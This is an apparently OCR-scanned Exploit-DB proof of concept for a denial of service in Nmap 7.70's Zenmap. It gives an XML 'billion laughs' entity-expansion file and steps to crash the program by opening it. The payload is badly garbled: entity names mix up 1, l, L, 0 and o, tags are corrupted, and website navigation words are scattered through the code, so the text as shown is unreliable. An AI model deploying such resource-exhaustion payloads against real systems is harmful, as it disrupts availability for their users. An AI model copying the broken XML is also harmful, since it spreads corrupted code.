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Exploit Title: Nmap 7.70 - Denial of Service (PoC)
Author: Gionathan "John" Reale

Discovey Date: 2018-09-10

Software Link: https://nmap.org/dist/nmap-7.70-setup.exe
Tested Version: 7.70 (ZenMap)

Tested on 0S: Windows 7 32bit
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# Description: This vunerability causes the program to crash and start to
PAPERS heavily consume

# system resources. Do not test on critical systems, can cause system
crash.

SHELLCODES

# Steps to reproduce:

# 1. Create a file in Notepad with the following and save it as "test.xml":
SEARCHEDS <?xml version="1.0"7>

<!DOCTYPE lolz [

<!ENTITY 1lol "lol">

<!ELEMENT lolz (#PCDATA)>

<!ENTITY loll "&lol;&lol;&lol;&Lol;&Lol;&lol;&lol;&Lol;&lol;&lol; ">
SUBMISSIONS <!ENTITY lol2
"&loll;&loll;&loll;&loll;&loll;&lol1;&lol1;&lol1;&l0l1;&l0lL; ">

<!ENTITY 1lol3
"&lol2;&1012;&l012;&l012;&1012;&1012;&L012;&1l012;&1012;&L012; ">

ONLINE TRAINING <!ENTITY lol4
"&lol3;&1013;&L013;&l013;&L013;&l013;&L013;&L013;&L013;&L013; ">

<!ENTITY 1lol5
"&lol4;&1l014;&l014;&1l014;&1014;&1014;&1014;&l014;&1014;&1014; ">

<!ENTITY lol6
"&lol5;&lol5;&lol5;&lol5;&Lol5;&Lol5;&Lol5;&Lol5;&Lol5;&L0l5; ">

<!ENTITY 1lol7
"&lol6;&1016;&1016;&1016;&1016;&1l016;&1l016;&L016;&1l016;&L016; ">

<!ENTITY 1lol8
"&lol7;&lol7;&lol7;&Llol7;&lol7;&lol7;&lol7;&lol7;&Lol7;&Llol7; ">

<!ENTITY 1lol9
"&lol8;&1018;&1018;&L018;&1018;&1018;&L018;&L018;&L018;&1018; ">

<!ENTITY 1lol10
"&lo19;&1019;&1019;&1019;&1019;&1019;&1019;&1019;&L019;&1019; ">

<!ENTITY lolll
"&lol10;&10110;&10110;&1l0110;&10110;&10110;&1L0110;&10110;&10110;&10110; ">
<!ENTITY lol12
"&lol1l1;&lol1l1l;&lol11;&lol11;&l0111;&lo111;&1l0111;&l011];&Lo1L11;&1l011D; ">
<!ENTITY 1lol13
"&lol12;&l0112;&10112;&10112;&10112;&10112;&10112;&10112;&10112;&10112; ">
<!ENTITY loll4
"&lol13;&Lol13;&10113;&1lo113;&10113;&10113;&10113;&10113;&L0113;&l0113; ">
<!ENTITY lol15
"&lol1l4;&10114;&10114;&10114;&10114;&10114;&10114;&10114;&10114;&10114;">
<!ENTITY loll6
"&lol15;&lol15;&lo115;&lol15;&l0o115;&lo115;&1l0115;&1l0o115;&Lol15;&1lol15; ">
<!ENTITY lol17
"&lol1l6;&l0o116;&10116;&L0116;&10116;&1L0116;&1l0116;&1l0116;&10116;&10116; ">
<!ENTITY 10118
"&loll17;&lol117;&10117;&10117;&10117;&10117;&10117;&10117;&l0117;&L0117;">
<!ENTITY 10119
"&lol18;&10118;&10118;&10118;&10118;&10118;&10118;&10118;&10118;&10118; ">
<!ENTITY 10120
"&lol19;&10119;&10119;&10119;&10119;&10119;&10119;&10119;&10119;&10119; ">
<!ENTITY lol21
"&lo120;&10120;&10120;&10120;&10120;&10120;&10120;&10120;&10120;&10120; ">
<!ENTITY 1lol22
"&lol21;&10o121;&10121;&10121;&10121;&10121;&10121;&10121;&L0121;&10121; ">
<!ENTITY 10123
"&lol122;&10122;&10122;&10122;&10122;&10122;&10122;&10122;&10122;&10122; ">
<!ENTITY lol24
"&lol23;&10123;&10123;&10123;&10123;&10123;&10123;&10123;&L0123;&10123; ">

<!ENTITY 1lol25
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. "&lo124;&10124;&10124;&10124;&10124;&10124;&10124;&L0124;&10124;&L0124; ">
%’ EXPLOIT DATABASE <IENTITY 10126
"&lo125;&1o125;&10125;&10o125;&10125;&10125;&10125;&10125;&L0o125;&lo125; ">
<!ENTITY lol27

EYPLOMTS "&lo126;&10126;&10126;&10126;&10126;&L0126;&10126;&10126;&10126;&10126; ">
<IENTITY 10128
"&lol127;&1o127;&1L0127;&10o127;&1L0127;&10127;&10127;&10127;&L0o127;&l0127; ">
<!ENTITY 10129
"&1o128;&10128;&10128;&10128;&10128;&L0128;&10128;&10128;&10128;&10128; ">
<!ENTITY 10130

FARERS "&§1o129;&10129;&10129;&10129;&L0129;&L0129;&10129;&10129;&10129;&10129; ">
1>

<lolz>&lo130;</lolz>

SHELLCODES

# 2. Open Zenmap > Scan > Open Scan > "test.xml"
# 3. Crash
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